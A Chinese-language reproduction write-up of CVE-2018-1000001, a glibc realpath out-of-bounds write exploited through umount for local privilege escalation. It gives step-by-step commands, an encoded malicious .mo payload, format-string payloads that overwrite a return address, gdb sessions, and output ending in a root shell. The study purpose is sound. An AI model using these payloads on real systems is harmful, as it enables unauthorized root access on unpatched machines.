1. 背景介绍
- 漏洞相关软件:glibc <= 2.26
- GLibc简介
- GNU/Linux systems等使用Linux内核系统的核心C代码库
- 这些代码库提供严格遵循ISO C11, POSIX.1-2008, BSD等标准的API
- 这些API包含 open, read, write, malloc, printf等基本函数
- 参考一(GLIBC 官网), 参考二(Linux manual)
- 漏洞危害
- 对未安装补丁的Linux系统进行本地提权。
- 参考: Known Affected Software Configurations
- 相关背景知识
namespaces
user_namespaces
mount_namespaces
setlocale – set the current locale
Gettext
格式化字符串
2. 漏洞分析
- 漏洞原理:缓冲区边界判断不严格造成越界写。
- 漏洞所属软件链接,版本,模块,目录,文件,代码行
- 漏洞所属类型:CWE-787: Out-of-bounds Write
- 漏洞补丁:glibc upstream
- 漏洞CVE号:CVE-2018-1000001
3. POC
a. POC原理
构造特殊的namespace进程(下文称ns_proc),并在进程的工作目录下构建特殊的目录结构,包含特制的符号链接,和特制的NLS文件;
使umount在ns_proc进程的工作目录下运行,卸载特制的符号链接触发越界写,覆盖setloacle需要加载的正常文件路径,迫使其使用相对路径加载特制的 NLS文件;
特制NLS文件能够控制umount的error信息的格式,可以利用%n
获取写入栈内存的能力,而刚好能够修改umount libmnt_context结构体的restricted标志位,使umount认为调用者为root权限,进而允许后续的umout /
操作,从而实现DOS。
b. POC源码
链接: https://pan.baidu.com/s/11kHwHoFTkJ2sJT36kzNRKw 密码:vffy
c. 复现步骤
- 复现环境
- 环境清单
- 系统版本: Linux debian 4.9.0-12-amd64 #1 SMP Debian 4.9.210-1 (2020-01-20) x86_64 GNU/Linux
- 发行版名称: Debian GNU/Linux 9 (stretch)
- glibc版本: Debian GLIBC 2.24-11+deb9u4
- gcc版本: gcc (Debian 6.3.0-18+deb9u1) 6.3.0 20170516
- umount版本: umount from util-linux 2.29.2
- 镜像下载地址:debian-9.12.0-amd64-DVD-1.iso
- 虚拟机软件:VMwareFusion 专业版 11.5.1 (15018442)
- 虚拟机软件:QEMU emulator version 4.2.0
- QEMU虚拟机搭建步骤:
- 环境清单
# 1. 去上面?给出的地址处下载镜像
# 2. 创建虚拟机硬盘
$ qemu-img create -f qcow2 debian9.img 10G
# 3. 安装虚拟机(有条件可以增加-enable-kvm选项)
# 判断方法:
# grep -E 'vmx|svm' /proc/cpuinfo
# lsmod | grep kvm
$ qemu-system-x86_64 -m 2048 -hda debian9.img -cdrom ./debian-9.12.0-amd64-DVD-1.iso
# 4. 启动虚拟机
$ qemu-system-x86_64 -m 2048 debian9.img
# 5. 启动后安装GCC
$ su
$ apt install gcc
Step1 – 设置unprivileged_userns_clone权限
# 将unprivileged_userns_clone设置为1(默认为0)
root$ echo 1 > /proc/sys/kernel/unprivileged_userns_clone
Step2 – 创建具有独立 user/mount namespace的进程(下文称us_proc)
其他进程进入us_proc
进程的"/proc/[us_proc pid]/cwd"
目录后,用realpath(getcwd)
获取的相对目录均包含"(unreachable)/tmp/"
前缀
/usr/bin/unshare -m -U --map-root-user /bin/bash
mount -t tmpfs tmpfs /tmp
cd /tmp
chmod 00755 .
# Terminal 1
debian@debian:~/Desktop/work$ /usr/bin/unshare -m -U --map-root-user /bin/bash
root@debian:~/Desktop/work# mount -t tmpfs tmpfs /tmp
root@debian:~/Desktop/work# cd /tmp
root@debian:/tmp# chmod 00755 .
root@debian:/tmp# echo $$
52426
root@debian:/tmp#
# 效果如下
# Terminal 2
$ cd /proc/52426/cwd
debian@debian:/proc/52426/cwd$
debian@debian:/proc/52426/cwd$ realpath .
(unreachable)/tmp
debian@debian:/proc/52426/cwd$ realpath ../x
(unreachable)/x
debian@debian:/proc/52426/cwd
Step3 – 创建漏洞利用需要的目录和文件
mkdir -p -- "(unreachable)/tmp" "(unreachable)/tmp/__gconv_find_shlib/C/LC_MESSAGES" "(unreachable)/x"
ln -s ../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A "(unreachable)/tmp/down"
base64 -d <<B64-EOF | bzip2 -cd > "(unreachable)/tmp/__gconv_find_shlib/C/LC_MESSAGES/util-linux.mo"
QlpoOTFBWSZTWTOfm9IAAGX/pn6UlARGB+FeKyZnAD/n3mACAAAgAAEgAJSIqfkpspk0eUGJ6gAG
mQeoaD1PJAamlPJGCNMTIaNGmnqMQ0AAzSwpEWpQICVUw+490ohZBgZ+s4EBAZCn/TavSQshtCiv
iG6HOehyAp4FPt3zkpdTxNchTYITLBkXUjsgpN2QDBNX8qmbpkVgfLXKcQc1ZhVF0FxUQOtnbGlL
5NhRmORwmQF1Dw3Yu1mds6tGAmnLwWwc2KRKGl5hcLuSKcKEgZz83pA=
B64-EOF
root@debian:/tmp# tree
.
└── (unreachable)
├── tmp
│ ├── down -> ../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A
│ └── __gconv_find_shlib
│ └── C
│ └── LC_MESSAGES
│ └── util-linux.mo
└── x
root@debian:/tmp# strings "(unreachable)/tmp/__gconv_find_shlib/C/LC_MESSAGES/util-linux.mo"
%s: not mounted
Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
AA%6$lnlnAAAAAAAAAA
__gconv_find_shlib/C/LC_MESSAGES
目录是setloacale寻找mo文件的相对路径,特别要注意的一点:__gconv_find_shlib
在不同系统上不一样,在漏洞作者的exp中还给出了两个目录(from_archive, _nl_load_locale_from_archive
) ;
"(unreachable)/x"
是realpath解析符号链接的返回值对应的目录;
util-linux.mo
文件用于保存特制的libc依赖的.mo翻译文件;
符号链接用于触发越界写漏洞;
util-linux.mo
保存了触发DOS的特制格式化字符串"AA%6$lnlnAAAAAAAAAA"
。
Step4 – 通过umount触发DOS
test$ cd /proc/2299/cwd
test$ LC_ALL=C.UTF-8 /bin/umount --lazy down /
AAlnAAAAAAAAAA
LC_ALL环境变量会使setlocale函数去加载翻译文件;
umount会先尝试卸载down目录,这个特制的符号链接会触发realpath漏洞造成越界写,将堆内存中的"/usr/lib/locale/C.utf8/LC_CTYPE"
路径字符串中LC_CTYPE覆盖为AAAAAA(略...)/A
;
当realpath将down解析为(unreachable)/x后,umount会调用warnx函数打印警告信息,此时会加载特制的util-linux.mo文件,"AA%6$lnlnAAAAAAAAAA"
替换掉warnx函数的第一个参数"%s: not mounted"
;
利用格式化字符串,umount栈中RSP存放的地址处的指针指向的long int值(*(long *)$RSP)
会被修改为2。这会将该处存放的libmnt_context结构体的restricted字段修改为0, 从而让umount认为调用者是root用户,并成功进行后面的umount / 操作。
这个步骤相关的umount调用栈:
main->umount_one->make_exit_code->warnx(_("%s: not mounted"), tgt);
4. EXP
a. EXP原理
准备阶段(prepareNamespacedProcess)
- 先通过clone启动一个拥有独立
user & mount namespace
的子进程,
子进程启动后,会先等待父进程将其uid和gid设置为0(当前namespace)
然后mount tmpfs
到/tmp
目录,并切换到/tmp
作为当前工作目录
创建一个ready文件(O_WRONLY|O_CREAT|O_EXCL|O_NOFOLLOW|O_NOCTTY
) - 获取当前系统信息
- 在clone出的子进程工作目录(
/proc/[pid]/cwd
)中生成一系列文件和目录
生成的文件如下:
invincible@ubuntu:/proc/10013/cwd$ tree
.
├── DATEMSK
├── ready
└── (unreachable)
├── tmp
│ ├── down -> ../x/../../AAA(省略...)A/AAA(省略...)A/A
│ └── from_archive
│ ├── C.UTF-8
│ │ └── LC_MESSAGES
│ │ └── util-linux.mo
│ ├── X.x
│ │ └── LC_MESSAGES
│ └── X.X
│ └── LC_MESSAGES
│ └── util-linux.mo
└── x
10 directories, 5 files
invincible@ubuntu:/proc/10013/cwd$ cat DATEMSK
#!/home/invincible/Desktop/test/exp
unused
invincible@ubuntu:/proc/10013/cwd$ file DATEMSK
DATEMSK: a /home/invincible/Desktop/test/exp script, ASCII text executable
invincible@ubuntu:/proc/10013/cwd$
invincible@ubuntu:/proc/10013/cwd$ file ready
ready: empty
invincible@ubuntu:/proc/10013/cwd$ file (unreachable)/tmp/from_archive/C.UTF-8/LC_MESSAGES/util-linux.mo
(省略...)/util-linux.mo: GNU message catalog (little endian), revision 0.0, 4 messages
invincible@ubuntu:/proc/10013/cwd$ file (unreachable)/tmp/from_archive/X.X/LC_MESSAGES/util-linux.mo
(省略...)/util-linux.mo: fifo (named pipe)
构造的DATEMSK文件内容为/proc/self/exe符号链接指向的文件:
invincible@ubuntu:/proc/10013/cwd$ cat DATEMSK
#!/home/invincible/Desktop/test/exp
unused
invincible@ubuntu:/proc/10013/cwd$ file DATEMSK
DATEMSK: a /home/invincible/Desktop/test/exp script, ASCII text executabl
构造特制的util-linux.mo文件内容:
invincible@ubuntu:~/Desktop/test$ msgunfmt util-linux.mo -o util-linux.po
invincible@ubuntu:~/Desktop/test$ cat util-linux.po
msgid ""
msgstr ""
"Language: enn"
"MIME-Version: 1.0n"
"Content-Type: text/plain; charset=UTF-8n"
"Content-Transfer-Encoding: 8bitn"
msgid "%s: mountpoint not found"
msgstr "1234"
msgid "%s: not mounted"
msgstr ""
"AA%6$lnAAAAAA%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx"
(省略... 共256个%16lx)
"%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx"
"%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx%1$68hhx%256$hhn"
msgid ""
"%s: target is busyn"
" (In some cases useful info about processes thatn"
" use the device is found by lsof(8) or fuser(1).)"
msgstr "5678"
invincible@ubuntu:~/Desktop/test$
提权阶段(attemptEscalation)
- 准备工作
- 创建用于和子进程通信的pipe用于读取子进程stdout和stderr
- fork出子进程(下文称
umount进程
),在子进程中设置pipe,切换到us_proc进程
的工作目录,execve执行umount,具体执行命令:
AANGUAGE=X.X AANGUAGE=X.X (省略...共255次) LC_ALL=C.UTF-8 /bin/umount /run /run /run /run /run /run /run /run /run /run down LABEL=78 LABEL=789 LABEL=789a LABEL=789ab LABEL=789abc LABEL=789abcd LABEL=789abcde LABEL=789abcdef LABEL=789abcdef0 LABEL=789abcdef0
- 开始提权
- 第0步,父进程开始持续读取umount进程的输出,等待”AAAAAAAA”字符串的出现
- 第1步,读取完整的栈内存数据,并开始解析,构造第二阶段的util-linx.mo文件内容并写入
- 第2步,持续等待,直到在超时时间内,第二阶段util-linux.mo文件内容被umount读取
- 第3步,读取剩下的umount输出防止其被阻塞
- umount部分:
- umount启动后,解析符号链接down会触发越界写,使堆内存中存放的正常文件路径失效,迫使其加载位于相对目录C.UTF-8/LC_MESSAGES/中特制的util-linux.mo文件,其中的 poisonous format string 会将栈内存dump到stderr,同时还会通过指向环境变量的指针,将”AANGUAGE=X.X”修改为”LANGUAGE=X.X”
- umount继续执行,由于环境变量被修改,这将使umount读取第二阶段的util-linux.mo文件(位于X.X/LC_MESSAGES目录下,由于该文件为fifo named pipe,所以这里umoun会阻塞等待其被写入数据)
- umount进程在父进程第1步完成后恢复执行,读取第二阶段mo文件,其中的格式化字符串将会修改umount的返回地址,通过setdate+execl实现ROP,最终执行DATEMSK文件中的exp进程,利用umount提升exp可执行文件的权限后执行,生成root shell完成提权
- dump栈内存,修改restricted字段,修改AANGUAGE环境变量使用的格式化字符串
"AA%6$lnAAAAAA%016lx(省略... 共256个%016lx)%016lx%1$68hhx%256$hhn"
- 修改返回地址使用的格式化字符串
debian@debian:~/Desktop/work$ msgunfmt "/proc/1609/cwd/(unreachable)/tmp/__gconv_find_shlib/X.x/LC_MESSAGES/util-linux.mo" -o util-linux.po
debian@debian:~/Desktop/work$ cat util-linux.po
msgid ""
msgstr ""
"Language: enn"
"MIME-Version: 1.0n"
"Content-Type: text/plain; charset=UTF-8n"
"Content-Transfer-Encoding: 8bitn"
msgid "%s: mountpoint not found"
msgstr ""
"%67$hn%71$hn%1$18640.18640s%68$hn%1$13200.13200s%64$hn%1$906.906s%66$hn%70$hn"
"%1$1567.1567s%65$hn%1$1.1s%69$hn%1$31222.31222s%1$5414.5414s%1$s%1$s%63$hn"
"%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%37$hn-%35$lx-%37$lx-%62$lx-%63$lx-%64$lx-"
"%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%78$sn"
msgid "%s: not mounted"
msgstr "BBBB5678%3$sn"
msgid ""
"%s: target is busyn"
" (In some cases useful info about processes thatn"
" use the device is found by lsof(8) or fuser(1).)"
msgstr "BBBBABCD%sn"
b. EXP源码
复现环境exp: https://pan.baidu.com/s/1oaKWzCzqwdkhywu8JOmivQ 密码:60vv
原作者exp: exp.c
c. 复现步骤
- 搭建复现环境,与POC中的环境相同
- 步骤一 设置unprivileged_userns_clone权限
# 将unprivileged_userns_clone设置为1(默认为0)
root$ echo 1 > /proc/sys/kernel/unprivileged_userns_clone
- 步骤二 编译exp文件
使用的是修改过的exp,具体修改了加载mo的目录和execl的相对偏移以适配复现环境
gcc exp.c -o exp
- 步骤三 执行exp
debian@debian:~/Desktop/work$ id
uid=1000(debian) gid=1000(debian) groups=1000(debian),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(bluetooth),113(lpadmin),118(scanner)
debian@debian:~/Desktop/work$ ./exp
./exp: invoked as SUID, invoking shell ...
root@debian:~/Desktop/work# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(bluetooth),113(lpadmin),118(scanner),1000(debian)
root@debian:~/Desktop/work#
- 如何获取util-linx.mo文件的相对路径
# 定位到_nl_find_msg调用,找到第一个参数的值
char *_nl_find_msg (struct loaded_l10nfile *domain_file,
struct binding *domainbinding, const char *msgid,
int convert, size_t *lengthp)
internal_function;
# Terminal 1
/usr/bin/unshare -m -U --map-root-user /bin/bash
mount -t tmpfs tmpfs /tmp
cd /tmp
chmod 00755 .
mkdir -p -- "(unreachable)/tmp" "(unreachable)/tmp/xxx/C.UTF-8.utf8/LC_MESSAGES" "(unreachable)/x"
ln -s ../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A "(unreachable)/tmp/down"
echo $$
46416
# Terminal 2
cd /proc/46416/cwd
gdb
file /bin/umount
set args --lazy down
set env LC_ALL=C.UTF-8
b main
r
b *umount_one if *(char *)$rsi == '('
c
b mk_exit_code
c
b *__dcigettext+1265
c
# 通过调用信息找到第一个参数
"(unreachable)/tmp/__gconv_find_shlib/C.UTF-8/LC_MESSAGES/util-linux.mo"
# 因此相对路径应改为:__gconv_find_shlib(原exp中是from_archive)
[---------------------------------registers-------------------------
...
RCX: 0x1
RDX: 0x55698c49ee78 ("%s: not mounted")
RSI: 0x55698e233200 ("AAAAAA/A")
RDI: 0x55698e23be90 --> 0x55698e23c3b0 ("(unreachable)/tmp/__gconv_find_shlib/C.UTF-8/LC_MESSAGES/util-linux.mo")
...
R8 : 0x7fff5515b1b8 --> 0x7fb5d5b84000 --> 0x7fb5d572e000 --> 0x10102464c457f
...
[-------------------------------------code-------------------------
...
=> 0x7fb5d4d69d21 <__dcigettext+1265>: call 0x7fb5d4d68bc0 <_nl_find_msg>
...
Guessed arguments:
arg[0]: 0x55698e23be90 --> 0x55698e23c3b0 ("(unreachable)/tmp/__gconv_find_shlib/C.UTF-8/LC_MESSAGES/util-linux.mo")
arg[1]: 0x55698e233200 ("AAAAAA/A")
arg[2]: 0x55698c49ee78 ("%s: not mounted")
arg[3]: 0x1
arg[4]: 0x7fff5515b1b8 --> 0x7fb5d5b84000 --> 0x7fb5d572e000 --> 0x10102464c457f
Breakpoint 4, 0x00007fb5d4d69d21 in __dcigettext (
...
gdb-peda$
# 调用栈如下
gdb-peda$ bt
#0 0x00007fb5d4d69d21 in __dcigettext (
domainname=0x55698e233580 "util-linux",
msgid1=0x55698c49ee78 "%s: not mounted",
msgid2=0x0, plural=0x0, n=0x0,
category=0x5) at dcigettext.c:742
#1 0x000055698c49d68d in mk_exit_code (cxt=0x55698e2335a0, rc=0xffffffff)
at sys-utils/umount.c:206
#2 0x000055698c49dba1 in umount_one (cxt=0x55698e2335a0, spec=...
#3 0x000055698c49d152 in main (argc=0x0, argc@entry=0x3, ...
#4 0x00007fb5d4d5c2e1 in __libc_start_main (main=0x55698c49c970 ...
#5 0x000055698c49d3aa in _start ()
- 如何在umount中dump栈内存的位置下断点
gcc my_exp.c -o exp4dbg -g
gdb
file exp4dbg
b main
r
set follow-fork-mode parent
b attemptEscalation
c
set follow-fork-mode child
c
b *umount_one if *(char *)$rsi == '('
c
b mk_exit_code
c
b *mk_exit_code+165
c
=> 0x561465315695 <mk_exit_code+165>: call 0x561465314560 <warnx@plt>
gdb-peda$ bt
#0 0x0000561465315695 in mk_exit_code (cxt=0x5614658005a0, ...
#1 0x0000561465315ba1 in umount_one (cxt=0x5614658005a0, spec=...
#2 0x0000561465315152 in main (argc=0xa, argc@entry=0x16,
...
#3 0x00007f29943012e1 in __libc_start_main (main=0x561465314970 ...
#4 0x00005614653153aa in _start ()
gdb-peda$
5.其他
Linux x64 传参
RCX: 0x64 ('d')
RDX: 0x63 ('c')
RSI: 0x62 ('b')
RDI: 0x61 ('a')
R8 : 0x65 ('e')
R9 : 0x66 ('f')
RBP: 0x7fffffffde00 --> 0x4005c0 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffddf0 --> 0x67 ('g')
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddf0 --> 0x67 ('g')
0008| 0x7fffffffddf8 --> 0x68 ('h')
# 先push 'h' 后push 'g'
/*
64位函数传参实验
*/
#include <stdio.h>
int func(int a1, int b2, int c3, int d4, int e5, int f6, int g7, int h8){
printf("%dn", a1+b2+c3+d4+e5+f6+g7+h8);
return 0;
}
int main(){
func('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h');
return 0;
}
/*
Dump of assembler code for function main:
0x0000000000400580 <+0>: push rbp
0x0000000000400581 <+1>: mov rbp,rsp
=> 0x0000000000400584 <+4>: push 0x68
0x0000000000400586 <+6>: push 0x67
0x0000000000400588 <+8>: mov r9d,0x66
0x000000000040058e <+14>: mov r8d,0x65
0x0000000000400594 <+20>: mov ecx,0x64
0x0000000000400599 <+25>: mov edx,0x63
0x000000000040059e <+30>: mov esi,0x62
0x00000000004005a3 <+35>: mov edi,0x61
0x00000000004005a8 <+40>: call 0x400526 <func>
0x00000000004005ad <+45>: add rsp,0x10
0x00000000004005b1 <+49>: mov eax,0x0
0x00000000004005b6 <+54>: leave
0x00000000004005b7 <+55>: ret
End of assembler dump.
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
...
RCX: 0x64 ('d')
RDX: 0x63 ('c')
RSI: 0x62 ('b')
RDI: 0x61 ('a')
RBP: 0x7fffffffde00 --> 0x4005c0 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffddf0 --> 0x67 ('g')
RIP: 0x4005a8 (<main+40>: call 0x400526 <func>)
R8 : 0x65 ('e')
R9 : 0x66 ('f')
...
[-------------------------------------code-------------------------------------]
0x400599 <main+25>: mov edx,0x63
0x40059e <main+30>: mov esi,0x62
0x4005a3 <main+35>: mov edi,0x61
=> 0x4005a8 <main+40>: call 0x400526 <func>
0x4005ad <main+45>: add rsp,0x10
0x4005b1 <main+49>: mov eax,0x0
0x4005b6 <main+54>: leave
0x4005b7 <main+55>: ret
...
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddf0 --> 0x67 ('g')
0008| 0x7fffffffddf8 --> 0x68 ('h')
0016| 0x7fffffffde00 --> 0x4005c0 (<__libc_csu_init>: push r15)
0024| 0x7fffffffde08 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax)
0032| 0x7fffffffde10 --> 0x1
0040| 0x7fffffffde18 --> 0x7fffffffdee8 --> 0x7fffffffe266 ("/home/invincible/Desktop/test/64")
0048| 0x7fffffffde20 --> 0x1f7ffcca0
0056| 0x7fffffffde28 --> 0x400580 (<main>: push rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x00000000004005a8 in main () at 64_param_demo.c:13
13 func('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h');
gdb-peda$
*/
6.参考
LibcRealpathBufferUnderflow
https://www.freebuf.com/column/162202.html
https://bbs.pediy.com/thread-228678.htm